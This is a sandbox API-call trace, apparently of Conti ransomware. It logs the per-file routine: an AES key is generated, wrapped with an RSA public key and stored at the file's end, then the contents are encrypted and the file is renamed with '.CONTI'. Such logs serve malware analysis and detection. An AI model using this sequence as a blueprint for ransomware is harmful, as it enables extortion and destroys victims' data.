	[0151.528] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.528] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65de278 | out: phKey=0x65de278*=0x17de990) returned 1
	[0151.528] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65de27c, pdwDataLen=0x45bfa3c | out: pbData=0x65de27c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.529] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css")) returned 0x20
	[0151.558] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.558] GetLastError () returned 0x0
	[0151.558] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=82) returned 1
	[0151.558] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x52
	[0151.558] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.558] SetEndOfFile (hFile=0x448) returned 1
	[0151.559] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.559] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.559] WriteFile (in: hFile=0x448, lpBuffer=0x65de27c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65de27c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.560] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.560] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x52, lpOverlapped=0x0) returned 1
	[0151.560] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x52, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x60) returned 1
	[0151.560] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.560] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x60, lpOverlapped=0x0) returned 1
	[0151.560] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.560] WriteFile (in: hFile=0x448, lpBuffer=0x65de270*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65de270*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.560] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.560] CloseHandle (hObject=0x448) returned 1
	[0151.560] GetProcessHeap () returned 0x1720000
	[0151.560] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6cb10a0
	[0151.561] lstrcpyW (in: lpString1=0x6cb10a0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\eula.css" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\eula.css") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css"
	[0151.561] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\eula.css", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\eula.css.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css.CONTI"
	[0151.561] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css.conti")) returned 1
	[0151.563] GetProcessHeap () returned 0x1720000
	[0151.563] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6cb10a0 | out: hHeap=0x1720000) returned 1
	[0151.563] CryptDestroyKey (hKey=0x17de990) returned 1
	[0151.563] GetProcessHeap () returned 0x1720000
	[0151.563] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740e60 | out: hHeap=0x1720000) returned 1
	[0151.563] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.563] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dc4d0 | out: phKey=0x65dc4d0*=0x17deb10) returned 1
	[0151.563] CryptExportKey (in: hKey=0x17deb10, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc4d4, pdwDataLen=0x45bfa3c | out: pbData=0x65dc4d4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.564] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png")) returned 0x20
	[0151.564] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.564] GetLastError () returned 0x0
	[0151.564] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=3824) returned 1
	[0151.564] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xef0
	[0151.564] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.564] SetEndOfFile (hFile=0x448) returned 1
	[0151.564] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.564] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.565] WriteFile (in: hFile=0x448, lpBuffer=0x65dc4d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dc4d4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.566] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.566] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0xef0, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xef0, lpOverlapped=0x0) returned 1
	[0151.566] CryptEncrypt (in: hKey=0x17deb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xef0, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xf00) returned 1
	[0151.566] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.566] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xf00, lpOverlapped=0x0) returned 1
	[0151.567] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.567] WriteFile (in: hFile=0x448, lpBuffer=0x65dc4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dc4c8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.567] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.567] CloseHandle (hObject=0x448) returned 1
	[0151.567] GetProcessHeap () returned 0x1720000
	[0151.567] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6cb10a0
	[0151.567] lstrcpyW (in: lpString1=0x6cb10a0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png"
	[0151.567] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.CONTI"
	[0151.567] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png.conti")) returned 1
	[0151.567] GetProcessHeap () returned 0x1720000
	[0151.567] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6cb10a0 | out: hHeap=0x1720000) returned 1
	[0151.567] CryptDestroyKey (hKey=0x17deb10) returned 1
	[0151.567] GetProcessHeap () returned 0x1720000
	[0151.567] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1898 | out: hHeap=0x1720000) returned 1
	[0151.568] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.568] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dd4c8 | out: phKey=0x65dd4c8*=0x17de990) returned 1
	[0151.568] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd4cc, pdwDataLen=0x45bfa3c | out: pbData=0x65dd4cc*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.568] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png")) returned 0x20
	[0151.568] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.569] GetLastError () returned 0x0
	[0151.569] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=4067) returned 1
	[0151.569] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfe3
	[0151.569] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.569] SetEndOfFile (hFile=0x448) returned 1
	[0151.569] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.569] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.569] WriteFile (in: hFile=0x448, lpBuffer=0x65dd4cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dd4cc*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0151.576] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.576] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0xfe3, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xfe3, lpOverlapped=0x0) returned 1
	[0151.576] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xfe3, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xff0) returned 1
	[0151.576] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.576] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0xff0, lpOverlapped=0x0) returned 1
	[0151.576] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.577] WriteFile (in: hFile=0x448, lpBuffer=0x65dd4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dd4c0*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0151.577] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.577] CloseHandle (hObject=0x448) returned 1
	[0151.577] GetProcessHeap () returned 0x1720000
	[0151.577] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.577] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png"
	[0151.577] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.CONTI"
	[0151.577] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png.conti")) returned 1
	[0151.577] GetProcessHeap () returned 0x1720000
	[0151.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.577] CryptDestroyKey (hKey=0x17de990) returned 1
	[0151.577] GetProcessHeap () returned 0x1720000
	[0151.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a7c0 | out: hHeap=0x1720000) returned 1
	[0151.578] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0151.578] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65ddba0 | out: phKey=0x65ddba0*=0x17de6d0) returned 1
	[0151.578] CryptExportKey (in: hKey=0x17de6d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ddba4, pdwDataLen=0x45bfa3c | out: pbData=0x65ddba4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0151.578] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png")) returned 0x20
	[0151.578] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0151.579] GetLastError () returned 0x0
	[0151.579] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=3677) returned 1
	[0151.579] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe5d
	[0151.579] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.579] SetEndOfFile (hFile=0x448) returned 1
	[0151.579] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.579] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.579] WriteFile (in: hFile=0x448, lpBuffer=0x65ddba4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65ddba4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0152.455] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0152.455] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0xe5d, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0xe5d, lpOverlapped=0x0) returned 1
	[0152.455] CryptEncrypt (in: hKey=0x17de6d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xe5d, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0xe60) returned 1
	[0152.455] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0152.455] WriteFile (hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0) 

Thread:
	id = 160
	os_tid = 0x12e4

	[0093.073] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xc610000
	[0093.074] CryptAcquireContextA (in: phProv=0x46fff50, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x46fff50*=0x1766528) returned 1
	[0093.076] CryptImportKey (in: hProv=0x1766528, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x46fff4c | out: phKey=0x46fff4c*=0x175de30) returned 1
	[0093.076] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0093.629] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c5a20 | out: phKey=0x17c5a20*=0x175e330) returned 1
	[0093.629] CryptExportKey (in: hKey=0x175e330, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5a24, pdwDataLen=0x46fff1c | out: pbData=0x17c5a24*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0093.635] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0093.635] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.636] GetLastError () returned 0x0
	[0093.636] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=82346) returned 1
	[0093.636] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x141aa
	[0093.636] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.636] SetEndOfFile (hFile=0x33c) returned 1
	[0093.636] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.636] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.636] WriteFile (in: hFile=0x33c, lpBuffer=0x17c5a24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c5a24*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.638] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.638] ReadFile (in: hFile=0x33c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x141aa, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x141aa, lpOverlapped=0x0) returned 1
	[0093.640] CryptEncrypt (in: hKey=0x175e330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x141aa, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x141b0) returned 1
	[0093.640] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.640] WriteFile (in: hFile=0x33c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x141b0, lpOverlapped=0x0) returned 1
	[0093.640] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.641] WriteFile (in: hFile=0x33c, lpBuffer=0x17c5a18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c5a18*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0093.641] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.641] CloseHandle (hObject=0x33c) returned 1
	[0093.642] GetProcessHeap () returned 0x1720000
	[0093.642] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.644] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml"
	[0093.644] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.CONTI"
	[0093.644] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.conti")) returned 1
	[0093.644] GetProcessHeap () returned 0x1720000
	[0093.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.644] CryptDestroyKey (hKey=0x175e330) returned 1
	[0093.644] GetProcessHeap () returned 0x1720000
	[0093.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfb88 | out: hHeap=0x1720000) returned 1
	[0093.645] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0094.185] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x175e4f0) returned 1
	[0094.185] CryptExportKey (in: hKey=0x175e4f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x46fff1c | out: pbData=0x17d3fac*, pdwDataLen=0x46fff1c*=0x20c) returned 1
